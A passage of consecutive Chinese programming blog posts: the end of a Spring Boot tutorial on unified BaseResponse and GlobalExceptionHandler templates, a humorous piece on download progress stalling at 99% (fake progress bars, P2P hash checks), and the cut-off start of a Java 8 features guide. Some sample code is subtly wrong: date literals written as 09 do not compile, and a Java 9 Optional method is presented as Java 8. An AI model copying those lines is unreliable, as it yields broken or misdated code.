白屏或卡死。 2. **安全泄露:** 你把服务器的内部错误(`java.lang.NullPointerException`、类名、方法名)赤裸裸地暴露给了潜在的黑客。 3. **系统不可靠:** 你没有给用户任何有用的提示(“服务器开小差了”),只给了他一个 500 错误。 --- ### 总结:`GlobalExceptionHandler` 的价值 现在,想象一下。如果我们**有** `GlobalExceptionHandler`。 在“案发现场 2”的第 9 步,当那个 `NullPointerException` 准备冲出 `Controller` 时,`GlobalExceptionHandler`(最高法院)会**一把抓住它**。 `GlobalExceptionHandler` 会说:“站住!不许你用 HTML 吓唬用户!” 然后,它会(在它的 `@ExceptionHandler` 方法里)**自己去调用 `ResultUtils`**: `return ResultUtils.error(50000, "哎呀,服务器开小差了");` 于是,前端最终收到的**仍然是**: - **HTTP 状态码:** `200 OK` (或者 500,这取决于你的配置,但 Body 一定是 JSON) - **Response Body (JSON):** JSON ``` { "code": 50000, "data": null, "message": "哎呀,服务器开小差了" } ``` 这就是“兜底”的全部意义:**确保任何灾难,最终都能被包装成一个前端可预期的、统一的 `BaseResponse` JSON,而不是一个赤裸裸的、破坏性的 500 HTML 错误。** ### 8. BaseResponse 模板 BaseResponse 的模板——[[BaseResponse.java 模板]] ``` package com.example.yourproject.common; // <-- TODO: 修改为你项目的实际包名 import lombok.Data; // 引入 Lombok 简化代码 import java.io.Serializable; /** * 通用返回类 (Unified Response Body) - 可复用模板 * * 用于封装 API 接口的响应结果,提供统一的结构。 * 无论成功或失败,都返回此对象实例。 * * @param <T> 响应数据的类型 (data 字段的类型) * @author [你的名字/团队名] */ @Data // Lombok 注解:自动生成 getter, setter, toString, equals, hashCode public class BaseResponse<T> implements Serializable { private static final long serialVersionUID = 1L; // 保证序列化兼容性 /** * 状态码 (来自 ErrorCode.getCode()) * 约定:通常 0 代表成功,其他非 0 代表失败。 */ private int code; /** * 响应数据 (泛型,成功时携带的数据) */ private T data; /** * 响应消息 (成功或失败时的提示信息, 通常来自 ErrorCode.getMessage()) */ private String message; /** * (可选) 详细错误描述 (通常只在失败时携带, 用于调试或日志记录) */ private String description; // --- 构造函数 (私有,强制使用静态工厂方法创建,保证对象创建的规范性) --- /** * 全参数私有构造函数 * @param code 状态码 * @param data 数据 * @param message 消息 * @param description 描述 */ private BaseResponse(int code, T data, String message, String description) { this.code = code; this.data = data; this.message = message; this.description = description; } // --- 静态工厂方法 (推荐使用,代码可读性更高) --- /** * 创建成功的响应 (携带数据,使用默认成功消息) * @param data 成功时携带的数据 * @param <T> 数据类型 * @return 成功的 BaseResponse 实例 (code=0, message="ok") */ public static <T> BaseResponse<T> success(T data) { // 假设 ErrorCode.SUCCESS 定义为 (0, "ok", "") return new BaseResponse<>(0, data, "ok", ""); // 或者如果你定义了 ErrorCode.SUCCESS: // return new BaseResponse<>(ErrorCode.SUCCESS.getCode(), data, ErrorCode.SUCCESS.getMessage(), ErrorCode.SUCCESS.getDescription()); } /** * 创建成功的响应 (携带数据,使用自定义成功消息) * @param data 成功时携带的数据 * @param message 自定义成功消息 * @param <T> 数据类型 * @return 成功的 BaseResponse 实例 (code=0) */ public static <T> BaseResponse<T> success(T data, String message) { return new BaseResponse<>(0, data, message, ""); // Description 通常为空 } /** * 创建成功的响应 (不携带数据,例如:删除成功) * @return 成功的 BaseResponse 实例 (code=0, data=null, message="ok") */ public static <T> BaseResponse<T> success() { return new BaseResponse<>(0, null, "ok", ""); } // --- 创建失败响应的方法 --- /** * 创建失败的响应 (根据 ErrorCode 枚举实例) * @param errorCode 错误码枚举实例 (必须包含 getCode(), getMessage(), getDescription() 方法) * @return 失败的 BaseResponse 实例 (data=null) */ public static <T> BaseResponse<T> error(ErrorCode errorCode) { return new BaseResponse<>(errorCode.getCode(), null, errorCode.getMessage(), errorCode.getDescription()); } /** * 创建失败的响应 (根据 ErrorCode 和 自定义错误消息) * @param errorCode 错误码枚举实例 * @param message 自定义错误消息 (覆盖 errorCode 的默认 message) * @return 失败的 BaseResponse 实例 (data=null) */ public static <T> BaseResponse<T> error(ErrorCode errorCode, String message) { return new BaseResponse<>(errorCode.getCode(), null, message, errorCode.getDescription()); } /** * 创建失败的响应 (根据 ErrorCode, 自定义消息, 和 自定义描述) * @param errorCode 错误码枚举实例 * @param message 自定义错误消息 * @param description 自定义详细描述 * @return 失败的 BaseResponse 实例 (data=null) */ public static <T> BaseResponse<T> error(ErrorCode errorCode, String message, String description) { return new BaseResponse<>(errorCode.getCode(), null, message, description); } } ``` **使用说明:** 1. **替换包名:** 将第一行的 `com.example.yourproject.common` 改成你项目的实际包路径。 2. **依赖 `ErrorCode`:** 这个模板假设你有一个 `ErrorCode` 枚举,并且该枚举包含 `getCode()`, `getMessage()`, `getDescription()` 方法,以及一个代表成功的常量(比如 `SUCCESS`,其 `code` 为 0,`message` 为 "ok")。你需要确保你的 `ErrorCode.java` 文件符合这个约定。 3. **依赖 Lombok:** 确保你的 `pom.xml` 中有 Lombok 依赖,并且 IDE 安装了 Lombok 插件。 4. **在 Controller 中使用:** - 成功时: `return BaseResponse.success(yourData);` 或 `return BaseResponse.success(yourData, "操作成功");` - 失败时 (Controller 层捕获): `return BaseResponse.error(ErrorCode.PARAMS_ERROR, "参数不能为空");` - 失败时 (全局异常处理器捕获 `BusinessException`): 在处理器中 `return BaseResponse.error(e.getErrorCode(), e.getMessage(), e.getDescription());` ### 9. GlobalExceptionHandler 模板 Java ``` // --- 全局异常处理器模板 --- package com.example.yourproject.exception; // <-- TODO: 1. 修改为你的项目的 exception 包路径 import com.example.yourproject.common.BaseResponse; // <-- TODO: 2. 确认 BaseResponse 导入路径 import com.example.yourproject.common.ErrorCode; // <-- TODO: 3. 确认 ErrorCode 导入路径 // import com.example.yourproject.common.exception.BusinessException; // <-- TODO: 4. 确认 BusinessException 导入路径 import lombok.extern.slf4j.Slf4j; // 5. 确保导入 Slf4j import org.springframework.web.bind.annotation.ExceptionHandler; // 6. 确保导入 ExceptionHandler import org.springframework.web.bind.annotation.RestControllerAdvice; // 7. (核心) 确保导入 RestControllerAdvice /** * 全局异常处理器 - 可复用模板 * * 使用 @RestControllerAdvice 统一拦截 Controller 层抛出的异常。 * 针对不同类型的异常返回统一的 BaseResponse 格式。 * * @author [你的名字] // <-- TODO: 8. 修改作者名 */ @RestControllerAdvice // (核心) 声明这是一个全局异常处理组件,针对 @RestController @Slf4j // 开启 Lombok 的日志功能 public class GlobalExceptionHandler { /** * 【模板部分 - 处理自定义业务异常】 * 捕获并处理自定义的 BusinessException。 * 你项目中自定义的业务异常类可能名称不同,只需修改 @ExceptionHandler 中的类即可。 * * @param e 捕获到的 BusinessException 实例 * @return 包含具体业务错误码和消息的 BaseResponse */ @ExceptionHandler(BusinessException.class) // 指定处理 BusinessException 及其子类 public BaseResponse<?> businessExceptionHandler(BusinessException e) { // 记录日志:包含错误码、错误消息、(可选)描述信息。 // 使用 log.warn 或 log.error 取决于你认为业务异常的严重程度。 // 通常,由客户端参数错误等引起的业务异常用 warn 即可。 log.warn("BusinessException: code={}, message={}, description={}", e.getCode(), e.getMessage(), e.getDescription()); // (可选) 如果需要详细堆栈用于调试,可以取消下面这行注释,但这在生产环境可能产生过多日志 // log.warn("BusinessException StackTrace: ", e); // 从 BusinessException 中提取信息,构建 BaseResponse 并返回给前端 // 这里假设 BusinessException 有 getErrorCode(), getMessage(), getDescription() 方法 return BaseResponse.error(e.getErrorCode(), e.getMessage(), e.getDescription()); } /** * 【模板部分 - 处理系统运行时异常】 * 捕获并处理 RuntimeException (或其他更通用的 Exception) 作为最后的防线。 * 这用于捕获代码中未预料到的错误,例如 NullPointerException 等。 * * @param e 捕获到的 RuntimeException 实例 * @return 包含通用“系统错误”信息的 BaseResponse */ @ExceptionHandler(RuntimeException.class) // 捕获所有未被上面更精确处理的 RuntimeException public BaseResponse<?> runtimeExceptionHandler(RuntimeException e) { // 记录【严重错误】日志:必须包含完整的堆栈跟踪信息 e,以便排查问题! log.error("RuntimeException occurred: {}", e.getMessage(), e); // 将 e 作为最后一个参数传入,Slf4j 会自动打印堆栈 // 返回给前端一个【统一】且【模糊】的系统错误响应 // 不要将 e.getMessage() 或 e.toString() 直接暴露给用户,可能包含敏感信息 // 使用预定义的 ErrorCode.SYSTEM_ERROR // <-- TODO: 9. 确认你的 ErrorCode 中有 SYSTEM_ERROR 或类似的通用系统错误码 return BaseResponse.error(ErrorCode.SYSTEM_ERROR, "系统内部异常,请联系管理员", ""); } // --- (可选) 添加更多异常处理器 --- // 你可以根据需要添加更多 @ExceptionHandler 方法来处理特定的其他异常类型, // 例如 Spring 的参数绑定异常 (BindException), 权限校验异常 (AccessDeniedException) 等, // 并将它们转换为对应的 BaseResponse。 // // @ExceptionHandler(BindException.class) // public BaseResponse<?> bindExceptionHandler(BindException e) { // log.warn("Parameter binding error: {}", e.getMessage()); // // 从 e 中提取具体的参数校验失败信息,构建更友好的错误消息 // String errorMessage = extractBindingErrors(e); // 需要自己实现这个方法 // return BaseResponse.error(ErrorCode.PARAMS_ERROR, errorMessage); // } // } // --- 模板结束 --- ``` **如何使用这个模板:** 1. **修改 `package` 声明 (TODO 1)。** 2. **确认/修改 `import` 路径 (TODO 2, 3, 4)。** 确保它指向你项目中正确的 `BaseResponse`, `ErrorCode`, `BusinessException` 类。 3. **修改 `@author` (TODO 8)。** 4. **确认/修改 `BusinessException` 处理逻辑:** 检查 `businessExceptionHandler` 中记录日志的方式(`log.warn` vs `log.error`)是否符合你的需求,以及从异常 `e` 中获取信息的代码(`e.getCode()`, `e.getMessage()`, `e.getDescription()`)是否正确。 5. **确认/修改 `RuntimeException` 处理逻辑:** 确认 `runtimeExceptionHandler` 中使用的 `ErrorCode.SYSTEM_ERROR` (TODO 9) 是你 `ErrorCode` 枚举中定义的、代表通用系统错误的那个常量。 6. **(可选) 添加更多处理器:** 根据项目需要,可以仿照现有方法,添加对其他特定异常(如参数校验异常、权限异常等)的处理逻辑。 把这个文件放在你的 `exception` 包下,它就会自动开始工作,拦截 Controller 抛出的异常并返回统一的 `BaseResponse` 了!
为什么下载小电影时,进度总是卡在99%?
你是小阿巴,深夜独自一人,正在下载一部《艺术与动作》的学习资料。  眼看着进度条已经到了 99%,你激动地搓着小手,心想:马上就能欣赏大师的作品了!  结果半小时过去了,进度条死死卡在 99%。 你怀疑是网络问题,狂按路由器重启键,发现网页秒开、网速飞快;也试过重新下载,但是仍然死死卡在 99%,纹丝不动、稳如泰山。 你绝望地仰天长啸:不,为什么!  这时,你面前出现一位程序员,正是下片无数的鱼皮:愚蠢的小阿巴,想知道真相么?给我两个圆圆的东西,我就告诉你 2 个不为人知的秘密。 于是,你从裤裆中掏出 2 个圆圆的硬币 🪙,交给了他。  本文对应视频版:[https://bilibili.com/video/BV1aCWizAEe5](https://www.bilibili.com/video/BV1aCWizAEe5) ### 一、产品经理的欺骗 鱼皮:你看到的进度条,其实是假的! 你震惊了:什么?!假的?  鱼皮:没错,很多产品经理会要求程序员制作 **虚假进度条**。 举个例子,假设有两个下载软件,完成时间都是 100 秒。A 软件的进度条只用 10 秒就显示了 99%,最后 1% 花了 90 秒;B 软件老老实实匀速加载,10 秒才显示了 10%,你会觉得哪个更快?  你脱口而出:当然是 A 了! 鱼皮笑道:这就对了,虽然实际速度一样,但 A 给人的感觉就是更快,也更容易让人留下来等待,这就是产品经理的诡计。 你恍然大悟:所以前面 99% 都是假象,只是为了安慰我? 鱼皮:没错,这也是利用了人的心理,相比于一片空白的等待,哪怕是个假进度条,也能让用户焦虑感大大降低。这也是我们平时开发网站的经典技巧,甚至会在进度条上加点小动画,让等待变得有趣起来。  你感叹道:可恶啊,原来我一直被套路了! 鱼皮:不过除了你看到的产品策略,背后可能还有更硬核的技术原因。 ### 二、背后的技术原理 鱼皮:你知道迅雷这种下载工具是怎么工作的吗? 你摇了摇头。 鱼皮:它们用的是 **P2P 协议**,简单说就是 “人人为我,我为人人”。你下载文件时,不是从一个服务器下载,而是从成千上万个下载过这个文件的用户那里,**同时下载** 不同的文件小块。  下载完成后,拼接小块成为完整文件。  你有些惊讶:那岂不是很快就能下载完?为什么还会卡在 99% 呢? 鱼皮:正是因为数据来源太多太杂,如果某个用户网速超慢或者中途掉线,最后就有可能一直卡住,等待最慢的块;而且如果因为网络不稳定,导致传输过程中数据损坏了怎么办?  你:对哦,我怎么发现这种情况呢? 鱼皮:这时就需要 **块校验**。每个数据块都有一个独特的 “指纹”,叫做哈希值。收到每个块后、以及 **全部块下载完成时**(进度 99%),软件会检查每一块数据的哈希值,和原始的哈希值对比。如果某个块的哈希值对不上,软件会直接丢弃这个块,然后尝试从其他用户重新下载。  但如果这个块的来源已经离线了,或者数据本身就有问题,那你就只能死磕在 99% 了……  你恍然大悟:原来如此,最后 1% 不是在下载,而是在验证和合并文件小块! 鱼皮:没错,所以 **进度条不是恒定速率的**,可别小瞧这 1%! 你挠了挠头:那有什么解决办法吗?  鱼皮:当然有了,优秀的产品会给用户明确的反馈,比如显示 “正在校验文件”,让用户知道程序没有卡死,只是在认真干活。这样用户心里有数,就不会那么焦虑了。  你若有所思,然后抄起桌上的键盘一把朝鱼皮的脸上砸去:我 ** 问的是这个么?!  结果你发现,刚刚的一切竟然都只是你的幻觉。 唉,下次看到进度条 99% 别着急,早点休息别熬夜,保护好自己的身体才是正事哦~ ## 更多 💻 编程学习交流:编程导航:https://www.codefather.cn/ 📃 简历快速制作:老鱼简历:https://laoyujianli.com ✏️ 面试刷题神器:面试鸭:https://mianshiya.com 📖 AI 学习指南:AI知识库:https://ai.codefather.cn/
Java 8 终于要被淘汰了!带你速通 Java 8~24 新特性 | 又能跟面试官吹牛皮了
Java 8 终于要被淘汰了! 记得我从大一开始学的就是 Java 8,当时还叫做新特性;后来 Java 11 出了,我用 Java 8;Java 17 出了,我用 Java 8;Java 21 出了,我还用 Java 8。 **随你怎么更新,我用 Java 8!**  我之前带大家做项目的时候,还是强烈建议大家用 Java 8 的,为什么现在说 Java 8 要被淘汰了呢? 在我看来主要是因为业务和生态变了,尤其是这几年 AI 发展,很多老项目都要接入 AI、新项目直接面向 AI 开发,为了追求开发效率,我们要用 AI 开发框架(比如 Spring AI、LangChain4j),而这些框架要求的版本几乎都是 >= 17, 所以我们团队自己的业务也从 Java 8 迁到 Java 21 了。 另外也是因为有些新版本的 Java 特性确实很香,学会之后无论是开发效率还是性能都能提升一大截。 所以我做了本期干货内容,讲通 Java 8 ~ Java 24 的新特性,洋洋洒洒一万多字!建议收藏,看完后你就约等于学完了十几个 Java 版本~ ⭐️ 推荐观看视频版,体验更佳:https://bilibili.com/video/BV1haamzUE8m 📚 免费 Java 教程 + 新特性大全:https://codefather.cn/course/java  ## ⭐️ Java 8 Java 8 绝对是 Java 历史上最重要的稳定版本,也是这么多年来最受欢迎的 Java 版本,甚至有专门的书籍来讲解 Java 8。这个版本最大的变化就是引入了函数式编程的概念,给 Java 这门传统的面向对象语言增加了新的玩法。  ### 【必备】Lambda 表达式 #### 什么是 Lambda 表达式? Lambda 表达式可以说是 Java 8 的杀手级特性。在这个特性出现之前,我们要实现一个简单的回调函数,只能通过匿名内部类的方式,代码又臭又长。 举些例子,比如给按钮添加点击事件、或者创建一个新线程执行操作,必须要自己 new 接口并且编写接口的定义和实现代码。 ```java // Java 8 之前的写法,给按钮添加点击事件 button.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { System.out.println("按钮被点击了"); } }); // 使用线程的传统写法 Thread thread = new Thread(new Runnable() { @Override public void run() { System.out.println("线程正在运行"); } }); ``` Lambda 表达式的出现,让代码变得简洁优雅,告别匿名内部类! ```java // Java 8 Lambda 写法 button.addActionListener(e -> System.out.println("按钮被点击了")); Thread thread = new Thread(() -> System.out.println("线程正在运行")); ``` Lambda 表达式的语法非常灵活,可以根据参数个数和方法代码的复杂度选择不同的写法: ```java // 无参数的 Lambda Runnable r = () -> System.out.println("Hello Lambda!"); // 单个参数(可以省略括号) Consumer<String> printer = s -> System.out.println(s); // 多个参数 BinaryOperator<Integer> add = (a, b) -> a + b; Comparator<String> comparator = (a, b) -> a.compareTo(b); // 复杂的方法体(需要大括号和 return) Function<String, String> processor = input -> { String processed = input.trim().toLowerCase(); if (processed.isEmpty()) { return "空字符串"; } return "处理后的字符串:" + processed; }; ``` #### 方法引用 Lambda 表达式还有一个实用特性叫做 **方法引用**,可以看作是 Lambda 表达式的一种简写形式。当 Lambda 表达式只是调用一个已存在的方法时,使用方法引用代码会更简洁。 举个例子: ```java List<String> names = Arrays.asList("鱼皮", "编程导航", "面试鸭"); // 使用 Lambda 表达式 names.forEach(name -> System.out.println(name)); // 使用方法引用(更简洁) names.forEach(System.out::println); ``` 实际开发中,方法引用经常用于获取某个 Java 对象的属性。比如使用 MyBatis Plus 来构造数据库查询条件时,经常会看到下面这种代码: ```java LambdaQueryWrapper<User> lambdaQueryWrapper = new LambdaQueryWrapper<>(); lambdaQueryWrapper.eq(User::getName, "鱼皮"); ``` 方法引用有几种不同的形式,包括静态方法引用、实例方法引用、构造器引用,适用于不同的场景。 ```java // 静态方法引用 List<String> strings = Arrays.asList("1", "2", "3"); List<Integer> numbers = strings.stream() .map(Integer::parseInt) // 等于 s -> Integer.parseInt(s) .collect(Collectors.toList()); // 实例方法引用 List<String> words = Arrays.asList("hello", "world", "java"); List<String> upperWords = words.stream() .map(String::toUpperCase) // 等于 s -> s.toUpperCase() .collect(Collectors.toList()); // 构造器引用 List<String> nameList = Arrays.asList("鱼皮", "编程导航", "面试鸭"); List<Person> persons = nameList.stream() .map(Person::new) // 等于 name -> new Person(name) .collect(Collectors.toList()); ``` ### 【必备】函数式接口 #### 什么是函数式接口? 函数式接口是 **只有一个抽象方法的接口**。要玩转 Lambda 表达式,就必须了解函数式接口,因为 **Lambda 表达式的本质是函数式接口的匿名实现**。 展开来说,函数式接口定义了 Lambda 表达式的参数和返回值类型,而 Lambda 表达式提供了这个接口的具体实现。两者相辅相成,让 Java 函数式编程伟大! #### 常用的函数式接口 Java 8 为我们提供了很多内置的函数式接口,让函数式编程变得简单直观。列举一些常用的函数式接口: 1)Predicate 用于条件判断: ```java // Predicate<T> 用于条件判断 Predicate<Integer> isEven = n -> n % 2 == 0; Predicate<String> isEmpty = String::isEmpty; Predicate<String> isNotEmpty = isEmpty.negate(); // 取反 List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6); List<Integer> evenNumbers = numbers.stream() .filter(isEven) .collect(Collectors.toList()); ``` 2)Function 接口用于数据转换,支持函数组合,让代码逻辑更清晰: ```java // Function<T, R> 用于转换 Function<String, Integer> stringLength = String::length; Function<Integer, String> intToString = Object::toString; // 函数组合 Function<String, String> addPrefix = s -> "前缀-" + s; Function<String, String> addSuffix = s -> s + "-后缀"; Function<String, String> combined = addPrefix.andThen(addSuffix); String result = combined.apply("鱼皮"); // "前缀-鱼皮-后缀" ``` 3)Consumer 和 Supplier 接口分别用于消费和提供数据: ```java // Consumer<T> 用于消费数据(无返回值) Consumer<String> printer = System.out::println; Consumer<String> logger = s -> log.info("处理数据:{}", s); // 组合消费 Consumer<String> combinedConsumer = printer.andThen(logger); // Supplier<T> 用于提供数据 Supplier<String> randomId = () -> UUID.randomUUID().toString(); Supplier<LocalDateTime> now = LocalDateTime::now; ``` 4)BinaryOperator 接口用于二元操作,比如数学运算: ```java // BinaryOperator<T> 用于二元操作 BinaryOperator<Integer> max = Integer::max; BinaryOperator<String> concat = (a, b) -> a + b; ``` #### 自定义函数式接口 虽然实际开发中,我们更多的是使用 Java 内置的函数式接口,但大家还是要了解一下自定义函数式接口的写法,有个印象。 ```java // 创建自定义函数式接口 @FunctionalInterface public interface Calculator { double calculate(double a, double b); } ``` 使用自定义函数式接口,代码会更简洁: ```java // 使用自定义函数式接口 Calculator addition = (a, b) -> a + b; Calculator subtraction = (a, b) -> a - b; ``` 💡 自定义函数式接口时,需要注意: 1)函数式接口必须是接口类型,不能是类、抽象类或枚举。 2)必须且只能包含一个抽象方法。否则 Lambda 表达式可能无法匹配接口。 3)建议使用 `@FunctionalInterface`注解。 虽然这个注解不是强制的,但加上后编译器会帮你检查是否符合函数式接口的规范(是否只有一个抽象方法),如果不符合会报错。 4)可以包含默认方法 `default` 和静态方法 `static` 函数式接口允许有多个默认方法和静态方法,因为它们不是抽象方法,不影响单一抽象方法的要求。 ```java // 创建自定义函数式接口 @FunctionalInterface public interface Calculator { double calculate(double a, double b); // 可以有默认方法 default double add(double a, double b) { return a + b; } // 可以有静态方法 static Calculator multiply() { return (a, b) -> a * b; } } ``` ### 【必备】Stream API #### 什么是 Stream API? Stream API 是 Java 8 另一个重量级特性,它让集合处理变得既优雅又高效。(学大数据的同学应该对它不陌生) 在 Stream API 出现之前,我们处理集合数据只能通过传统的循环,需要大量的样板代码。 比如过滤列表中的数据、将小写转为大写并排序: ```java List<String> words = Arrays.asList("apple", "banana", "cherry"); // 传统的处理方式 List<String> result = new ArrayList<>(); for (String word : words) { if (word.length() > 5) { String upperCase = word.toUpperCase(); result.add(upperCase); } } Collections.sort(result); ``` 如果使用 Stream API,可以让同样的逻辑变得更简洁直观: ```java // 使用 Stream 的方式 List<String> result = words.stream() .filter(word -> word.length() > 5) // 过滤长度大于 5 的单词 .map(String::toUpperCase) // 转换为大写 .sorted() // 排序 .collect(Collectors.toList()); // 收集结果 ``` 这就是 Stream 的作用。Stream 不是数据结构,而是 **像工厂流水线** 一样处理数据的工具。数据从一端进入,经历过滤、转换、排序等一系列加工步骤后,最终输出我们想要的结果。这种 **链式调用** 让代码读起来就像自然语言一样流畅。  #### Stream 操作类型 Stream 的操作分为中间操作和终端操作。中间操作是 “懒惰” 的,只有在遇到终端操作时才会真正执行。 filter 过滤和 map 映射都是中间操作,比如下面这段代码,并不会对列表进行过滤和转换: ```java List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10); numbers.stream() .filter(n -> n > 3) // 中间操作:过滤大于3的数字 .map(n -> n * n) // 中间操作:平方 ``` 一些常用的中间操作: - `filter()` - 过滤元素 - `map()` - 转换元素 - `sorted()` - 排序 - `distinct()` - 去重 - `limit()` - 限制数量 - `skip()` - 跳过元素 给上面的代码加上一个终端操作 collect 后,才会真正执行: ```java List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10); // 演示中间操作和终端操作 numbers.stream() .filter(n -> n > 3) // 中间操作:过滤大于3的数字 .map(n -> n * n) // 中间操作:平方 .collect(Collectors.toList()); // 终端操作:收集结果 ``` 一些常用的终端操作: - `collect()` - 收集到集合 - `forEach()` - 遍历每个元素 - `count()` - 统计数量 - `findFirst()` - 查找第一个 - `anyMatch()` - 是否有匹配的 - `reduce()` - 归约操作 #### 实际应用 分享一些 Stream API 在开发中的典型用例。 1)对列表进行分组(List 转为 Map): ```java Map<Boolean, List<Integer>> partitioned = numbers.stream() .filter(n -> n > 3) // 中间操作:过滤大于3的数字 .map(n -> n * n) // 中间操作:平方 .collect(Collectors.partitioningBy(n -> n % 2 == 0)); // 终端操作:按奇偶分组 ``` 2)使用 Stream 内置的统计功能,对数据进行统计: ```java // 统计操作 IntSummaryStatistics stats = numbers.stream() .mapToInt(Integer::intValue) .summaryStatistics(); System.out.println("数量:" + stats.getCount()); System.out.println("总和:" + stats.getSum()); System.out.println("平均值:" + stats.getAverage()); System.out.println("最大值:" + stats.getMax()); System.out.println("最小值:" + stats.getMin()); ``` 3)按照对象的某个字段进行分组计算: ```java List<Person> people = Arrays.asList( new Person("张三", 25, "北京"), new Person("鱼皮", 18, "上海"), new Person("李四", 25, "北京"), new Person("老二", 35, "上海") ); // 按城市分组 Map<String, List<Person>> byCity = people.stream() .collect(Collectors.groupingBy(Person::getCity)); // 按城市分组并统计年龄 Map<String, Double> avgAgeByCity = people.stream() .collect(Collectors.groupingBy( Person::getCity, Collectors.averagingInt(Person::getAge) )); // 按城市分组并收集姓名 Map<String, List<String>> namesByCity = people.stream() .collect(Collectors.groupingBy( Person::getCity, Collectors.mapping(Person::getName, Collectors.toList()) )); ``` 学过数据库的同学应该对这种操作并不陌生,其实 SQL 语句中的很多操作都可以通过 Stream 实现。这也是 Stream 的典型应用场景 —— 对数据库中查出的数据进行业务层面的运算。 #### 并行流 并行流是 Stream API 的另一个强大特性,它可以自动利用多核 CPU 处理器加速数据处理任务的执行。 在此之前,我们要实现并行处理集合数据,需要手动管理线程池和任务分割,代码复杂且容易出错。 但有了 Stream API,一行代码就能创建并行流,比如过滤并计算数据的总和: ```java List<Integer> largeList = IntStream.rangeClosed(1, 1000000) .boxed() .collect(Collectors.toList()); // 并行处理,只需要改一个方法调用 long parallelCount = largeList.parallelStream() .filter(n -> isPrime(n)) .count(); ``` 并行流底层使用了 Fork/Join 框架,简单来说就是把大任务拆分成小任务,分配给多个线程同时执行,最后把结果合并起来。这个过程对开发者完全透明,只需要调用 `parallelStream()` 即可。  但也正因如此,实际开发中,要谨慎使用并行流! 因为它使用的是 JVM 全局的 `ForkJoinPool.commonPool()`,默认线程数等于 CPU 核心数减 1。**如果某个并行流任务阻塞了线程,会影响其他并行流的性能。** 而且并行流不一定就更快,特别是对于简单操作或小数据集,切换线程的开销可能超过并行带来的收益。 因此,并行流更适合大数据量、CPU 密集型任务(如复杂计算、图像处理),不适合 I/O 密集型任务(如网络请求)。而且只要涉及到并发场景,就要考虑到线程安全问题。 ### 【实用】Optional #### Optional 的作用 NullPointerException(NPE)一直是 Java 程序员的噩梦,学 Java 的同学应该都被它折磨过。  之前,我们只能通过大量的 if 语句检查 null 来避免空指针异常,不仅代码又臭又长,而且稍微不注意就漏掉了。 ```java // 传统的空值检查 public String getDefaultName(User user) { if (user != null) { String name = user.getName(); if (name != null && !name.isEmpty()) { return name.toUpperCase(); } } return "unknown"; } ``` Optional 类的引入就是为了优雅地处理可能为空的值,可以先把它理解为 “包装器”,把可能为空的对象封装起来。 创建 Optional 对象: ```java // 创建 Optional 对象 Optional<String> optional1 = Optional.of("Hello"); // 不能为 null Optional<String> optional2 = Optional.ofNullable(getName()); // 可能为 null Optional<String> optional3 = Optional.empty(); // 空的 Optional ``` Optional 提供了多种处理空值的方法: ```java // 检查是否有值 if (optional.isPresent()) { System.out.println(optional.get()); } // 更优雅的方式,如果对象存在则输出 optional.ifPresent(System.out::println); ``` 还可以设置默认值策略,比如空值时抛出异常: ```java // 提供默认值 String result1 = optional.orElse("默认值"); String result2 = optional.orElseGet(() -> generateDefaultValue()); String result3 = optional.orElseThrow(() -> new IllegalStateException("值不能为空")); ``` 除了前面这些基本方法外,Optional 甚至提供了一套完整的 API 来处理空值场景! 跟 Stream API 类似,你可以对 Optional 封装的数据进行过滤、映射等操作: ```java optional .filter(s -> s.length() > 5) .map(String::toUpperCase) .ifPresentOrElse( System.out::println, // 有值时执行 () -> System.out.println("没有值") // 无值时执行 ); ``` #### 应用场景 鱼皮经常使用 Optional 来简化空值判断: ```java int pageNum = Optional.ofNullable(params.getPageNum()) .orElseThrow(() -> new RuntimeException("pageNum不能为空")); ``` 如果不用 Optional,就要写下面这段代码: ```java int pageNum; if (params.getPageNum() != null) { pageNum = params.getPageNum(); } else { throw new RuntimeException("pageNum不能为空"); } ``` 此外,Optional 的一个典型应用场景是在集合中进行安全查找: ```java List<String> names = Arrays.asList("张三", null, "李四", "", "王五"); // 使用 Optional 进行安全的查找 Optional<String> foundName = names.stream() .filter(Objects::nonNull) .filter(name -> name.startsWith("张")) .findFirst(); foundName.ifPresentOrElse( name -> System.out.println("找到了:" + name), () -> System.out.println("没有找到匹配的名字") ); ``` ### 【必备】新的日期时间 API Java 8 引入的新日期时间 API 解决了旧版 Date 和 Calendar 类的很多问题,比如线程安全、可变性、时区处理等等。 传统的日期处理方式: ```java // 旧版本的复杂日期处理 Calendar cal = Calendar.getInstance(); cal.set(2024, Calendar.JANUARY, 15); // 注意月份从0开始 Date date = cal.getTime(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); String dateStr = sdf.format(date); // 线程不安全 ``` 使用新的日期时间 API,代码会更简洁: ```java // 当前日期时间 LocalDate today = LocalDate.now(); // 2025-09-01 LocalTime now = LocalTime.now(); // 14:30:25.123 LocalDateTime dateTime = LocalDateTime.now(); // 2025-09-01T14:30:25.123 // 指定的日期时间 LocalDate specificDate = LocalDate.of(2025, 09, 01); LocalTime specificTime = LocalTime.of(14, 30, 0); LocalDateTime specificDateTime = LocalDateTime.of(2025, 09, 01, 14, 30, 0); ``` 典型的应用场景是从字符串解析日期,一行代码就能搞定: ```java // 从字符串解析 LocalDate parsedDate = LocalDate.parse("2025-09-01"); LocalDateTime parsedDateTime = LocalDateTime.parse("2025-09-01T14:30:25"); // 自定义格式解析 DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy/MM/dd HH:mm:ss"); LocalDateTime customParsed = LocalDateTime.parse("2025/09/01 14:30:25", formatter); ``` 还有日期和时间的计算,也变得更直观、见名知意: ```java LocalDate today = LocalDate.now(); // 基本的日期计算 LocalDate nextWeek = today.plusWeeks(1); LocalDate lastMonth = today.minusMonths(1); LocalDate nextYear = today.plusYears(1); // 时间段计算 LocalDate startDate = LocalDate.of(2024, 1, 28); LocalDate endDate = LocalDate.of(2025, 9, 1); Period period = Period.between(startDate, endDate); System.out.println("相差 " + period.getMonths() + " 个月 " + period.getDays() + " 天"); // 精确时间差计算 LocalDateTime start = LocalDateTime.now(); LocalDateTime end = LocalDateTime.of(2025, 09, 01, 14, 30, 0); Duration duration = Duration.between(start, end); System.out.println("执行时间:" + duration.toMillis() + " 毫秒"); ``` 还支持时区处理和时间戳处理,不过这段代码就没必要记了,现在有了 AI,直接让它生成时间日期操作就好。 ```java // 带时区的日期时间 ZonedDateTime beijingTime = 